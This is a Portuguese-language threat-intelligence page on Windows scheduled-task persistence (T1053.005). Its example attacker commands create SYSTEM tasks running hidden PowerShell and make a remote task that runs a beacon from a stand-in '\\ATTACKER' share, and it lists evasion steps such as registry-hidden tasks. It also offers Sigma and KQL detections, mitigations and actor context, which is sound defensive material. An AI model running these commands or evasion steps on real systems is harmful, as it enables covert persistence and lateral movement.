# PROC - Scheduled Task: Persistência via Tarefas Agendadas do Windows
> [!warning] Procedimento de alta prevalência
> A criação de tarefas agendadas via **schtasks.exe** é uma das técnicas de persistência mais utilizadas por adversários - desde APTs estatais até operadores de ransomware e trojans bancários. Por ser uma ferramenta nativa do Windows, sua execução raramente é bloqueada, tornando-a ideal para manter acesso persistente ao ambiente comprometido.
## Visão Geral
O **Agendador de Tarefas do Windows** (Task Scheduler) é um componente nativo do sistema operacional que permite a execução automática de programas e scripts com base em gatilhos temporais, eventos do sistema ou condições específicas. Adversários abusam dessa funcionalidade legítima para garantir que seus payloads sejam executados de forma recorrente, sobrevivendo a reinicializações do sistema e mantendo presença persistente na rede comprometida.
A técnica [[t1053-005-scheduled-task|T1053.005]] é particularmente perigosa porque combina três vantagens operacionais para o atacante: (1) o binário `schtasks.exe` é assinado pela Microsoft e presente em todas as versões do Windows, o que significa que não precisa ser trazido de fora; (2) tarefas podem ser configuradas para executar como **NT AUTHORITY\SYSTEM**, o que garante privilégios máximos; e (3) tarefas podem ser criadas remotamente via SMB/RPC, facilitando [[t1021-002-smb-windows-admin-shares|movimentação lateral]].
Mais de 78 grupos de ameaças documentados pelo MITRE ATT&CK utilizam essa técnica, incluindo [[g0016-apt29|APT29]], [[g0007-apt28|APT28]], [[g0032-lazarus-group|Lazarus Group]], [[g0046-fin7|FIN7]] e operadores de [[lockbit|LockBit]]. No contexto brasileiro, trojans bancários como Grandoreiro e Mekotio empregam tarefas agendadas rotineiramente para manter persistência em estações de trabalho infectadas, especialmente no setor [[financial|financeiro]].
A detecção eficaz requer monitoramento combinado de eventos do Windows (4698, 4702), logs do Sysmon (EID 1 para criação de processos) e inspeção periódica do diretório `C:\Windows\System32\Tasks`, onde as definições XML das tarefas são armazenadas.
## Attack Flow
```mermaid
graph TB
A["🎯 Comprometimento Inicial<br/>Phishing, exploit ou<br/>acesso via credenciais"] --> B["⬆️ Escalação de Privilégios<br/>UAC bypass ou exploit<br/>para obter SYSTEM"]
B --> C["📋 Criação da Tarefa<br/>schtasks /create com<br/>trigger de persistência"]
C --> D["⏰ Execução Agendada<br/>Payload executa no<br/>horário ou evento definido"]
D --> E["🔄 Persistência Mantida<br/>Sobrevive a reboot,<br/>executa indefinidamente"]
E --> F["🌐 Tarefas Remotas<br/>schtasks /create /S host<br/>para movimentação lateral"]
classDef attack fill:#e74c3c,stroke:#c0392b,color:#ecf0f1
classDef persist fill:#e67e22,stroke:#d35400,color:#ecf0f1
classDef lateral fill:#9b59b6,stroke:#8e44ad,color:#ecf0f1
classDef neutral fill:#3498db,stroke:#2980b9,color:#ecf0f1
class A neutral
class B neutral
class C attack
class D persist
class E persist
class F lateral
```
**Legenda:** [[t1566-phishing|T1566 Phishing]] - [[t1548-abuse-elevation-control-mechanism|T1548 UAC Bypass]] - [[t1053-005-scheduled-task|T1053.005 Scheduled Task]] - [[Admin Shares]]
## Como Funciona
### Criação básica via linha de comando
O método mais direto utiliza `schtasks.exe` com parâmetros que definem o gatilho, a ação e o contexto de execução:
```cmd
:: Persistência via logon - executa toda vez que o usuário faz login
schtasks /create /tn "WindowsUpdateCheck" /tr "C:\Users\Public\update.exe" /sc ONLOGON /ru SYSTEM
:: Persistência temporal - executa a cada 15 minutos
schtasks /create /tn "Microsoft\Windows\Maintenance\CacheClean" /tr "powershell.exe -ep bypass -w hidden -f C:\ProgramData\sync.ps1" /sc MINUTE /mo 15 /ru SYSTEM
:: Execução única com atraso - comum em staging
schtasks /create /tn "SetupComplete" /tr "cmd /c C:\Temp\payload.bat" /sc ONCE /st 03:00 /sd 2026/03/29
```
### Criação remota para movimentação lateral
Adversários utilizam a flag `/S` para criar tarefas em hosts remotos, propagando-se pela rede:
```cmd
:: Criar tarefa em host remoto via credenciais comprometidas
schtasks /create /s FILESERVER01 /u DOMAIN\admin /p P@ssw0rd /tn "Updater" /tr "\\ATTACKER\share\beacon.exe" /sc ONSTART /ru SYSTEM
```
### Técnicas de evasão
Atacantes sofisticados empregam diversas táticas para dificultar a detecção:
- **Nomes legítimos:** usar nomes que imitam tarefas do Windows como `\Microsoft\Windows\NetTrace\GatherNetworkInfo` ou `\Microsoft\Windows\WindowsUpdate\Scheduled Start`
- **Caminhos confiáveis:** armazenar payloads em `C:\Windows\Temp\`, `C:\ProgramData\` ou subpastas de `C:\Windows\System32\`
- **Tarefas ocultas:** manipular a chave de registro `HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree` para ocultar a tarefa do `schtasks /query`
- **XML direto:** importar definição XML com `schtasks /create /xml task.xml /tn "NomeTarefa"` para evitar logging de parâmetros na linha de comando
### Gatilhos comuns abusados
| Gatilho | Flag | Uso adversário |
|---------|------|----------------|
| Logon | `/sc ONLOGON` | Persistência por sessão de usuário |
| Boot | `/sc ONSTART` | Persistência máxima - executa antes do login |
| Idle | `/sc ONIDLE` | Execução quando máquina está ociosa (evasão) |
| Intervalo | `/sc MINUTE /mo N` | Beaconing periódico para C2 |
| Evento | `/sc ONEVENT` | Gatilho baseado em Event Log específico |
## Detecção
### Eventos do Windows
| Fonte | Event ID | Descrição |
|-------|----------|-----------|
| Security Log | **4698** | Tarefa agendada criada |
| Security Log | **4702** | Tarefa agendada atualizada |
| Security Log | **4699** | Tarefa agendada removida |
| Security Log | **4700/4701** | Tarefa habilitada/desabilitada |
| Sysmon | **EID 1** | Criação de processo schtasks.exe |
| Sysmon | **EID 11** | Criação de arquivo em `C:\Windows\System32\Tasks\` |
### Regra Sigma - Criação suspeita de tarefa agendada
```yaml
title: Suspicious Scheduled Task Creation via Schtasks
id: proc-schtasks-persistence-001
status: stable
description: Detecta criação de tarefas agendadas com indicadores suspeitos
logsource:
category: process_creation
product: windows
detection:
selection_cmd:
Image|endswith: '\schtasks.exe'
CommandLine|contains: '/create'
suspicious_indicators:
CommandLine|contains:
- '/sc ONLOGON'
- '/sc ONSTART'
- '/sc MINUTE'
- '/ru SYSTEM'
- 'powershell'
- 'cmd /c'
- 'bypass'
- 'hidden'
- '.ps1'
- 'C:\Users\Public'
- 'C:\ProgramData'
- 'C:\Windows\Temp'
condition: selection_cmd and suspicious_indicators
level: high
tags:
- attack.persistence
- attack.t1053.005
```
### Queries de hunting
```kql
// KQL - Microsoft Sentinel / Defender
DeviceProcessEvents
| where FileName == "schtasks.exe"
| where ProcessCommandLine has_all ("/create", "/sc")
| where ProcessCommandLine has_any ("ONLOGON", "ONSTART", "MINUTE", "powershell", "bypass")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine
| sort by Timestamp desc
```
## Mitigação
### Controles recomendados
| Controle | Implementação |
|----------|---------------|
| [[m1026-privileged-account-management\|M1026]] | Restringir quem pode criar tarefas agendadas via GPO |
| [[m1028-operating-system-configuration\|M1028]] | Habilitar auditoria de tarefas agendadas (4698/4702) |
| [[m1018-user-account-management\|M1018]] | Impedir criação de tarefas por contas não-administrativas |
| [[m1038-execution-prevention\|M1038]] | Bloquear execução de scripts de diretórios não-padrão |
### Ações práticas
1. **Habilitar auditoria avançada:** `auditpol /set /subcategory:"Other Object Access Events" /success:enable /failure:enable`
2. **GPO restritiva:** Configurar `Computer Configuration > Windows Settings > Security Settings > Local Policies > User Rights Assignment > "Log on as a batch job"` apenas para contas necessárias
3. **Monitorar diretório de tarefas:** alertar sobre criação de novos arquivos XML em `C:\Windows\System32\Tasks\` via [[ds0022-file-file-creation|DS0022]]
4. **Baseline de tarefas:** manter inventário das tarefas legítimas e alertar sobre desvios
5. **Bloquear criação remota:** restringir acesso ao serviço Task Scheduler via firewall em portas RPC/SMB entre estações de trabalho
## Atores que Utilizam
| Ator | Padrão de uso | Contexto |
|------|--------------|----------|
| [[apt29\|APT29]] | Tarefas com nomes legítimos do Windows, execução de PowerShell encodado | Espionagem governamental |
| [[apt28\|APT28]] | `schtasks /create` para manter backdoors como X-Agent e Zebrocy | Espionagem militar |
| [[lazarus-group\|Lazarus Group]] | Tarefas para executar RATs customizados, foco em setor financeiro | Operações financeiras |
| [[fin7\|FIN7]] | Tarefas agendadas para Carbanak/Cobalt Strike beacons | Fraude financeira |
| [[lockbit\|LockBit]] | Agendamento de execução do ransomware em horários de baixo monitoramento | Ransomware |
| [[wizard-spider\|Wizard Spider]] | TrickBot e BazarLoader persistem via tarefas com nomes de serviços Windows | Ransomware (Conti/Ryuk) |
| [[sandworm-team\|Sandworm]] | Tarefas remotas para propagação do NotPetya e Industroyer | Sabotagem estatal |
| [[turla\|Turla]] | Tarefas ocultas com manipulação de registro para esconder do Task Manager | Espionagem avançada |
## Relevância LATAM/Brasil
> [!latam] Impacto significativo na região
> Tarefas agendadas são o mecanismo de persistência predominante em campanhas contra organizações brasileiras, especialmente no setor **financeiro** e **governamental**.
### Trojans bancários brasileiros
Os trojans bancários que afetam o Brasil - como **Grandoreiro**, **Mekotio**, **Casbaneiro** e **Astaroth/Guildma** - utilizam tarefas agendadas como método primário de persistência. O padrão típico envolve:
1. Infecção via phishing com nota fiscal eletrônica (NF-e) ou boleto falso
2. Download de DLL maliciosa para `C:\Users\Public\` ou `%AppData%`
3. Criação de tarefa agendada com `rundll32.exe` apontando para a DLL
4. Execução a cada logon do usuário, capturando credenciais bancárias
### Ransomware no Brasil
Operadores de ransomware como [[lockbit|LockBit]], [[ALPHV]] e **Royal** frequentemente agendam a execução do payload de criptografia para horários de baixa atividade (madrugada de sexta para sábado), maximizando o impacto antes que equipes de resposta possam reagir. Organizações brasileiras com monitoramento limitado fora do horário comercial são particularmente vulneráveis.
### Desafios específicos
- **Maturidade de monitoramento:** grande parte das organizações brasileiras não coleta eventos 4698/4702, perdendo visibilidade sobre criação de tarefas
- **Falta de baseline:** sem inventário de tarefas legítimas, equipes de SOC não conseguem distinguir tarefas maliciosas das legítimas
- **Ambientes heterogêneos:** versões antigas do Windows ainda prevalentes em setores como [[government|governo]] e [[healthcare|saúde]], com menos controles nativos disponíveis
## Referências
- [MITRE ATT&CK T1053.005 - Scheduled Task](https://attack.mitre.org/techniques/T1053/005/)
- [Microsoft - schtasks.exe documentation](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create)
- [Red Canary - Threat Detection Report: Scheduled Task](https://redcanary.com/threat-detection-report/techniques/scheduled-task-job/)
- [Elastic Security Labs - Hunting for Persistence via Scheduled Tasks](https://www.elastic.co/security-labs/)
- [The DFIR Report - Scheduled Task Persistence Patterns](https://thedfirreport.com/)
- [CISA - Alert on Scheduled Task Abuse](https://www.cisa.gov/news-events/cybersecurity-advisories)
- [Securelist - Grandoreiro Banking Trojan Analysis](https://securelist.com/)
- [Sigma HQ - Scheduled Task Rules](https://github.com/SigmaHQ/sigma)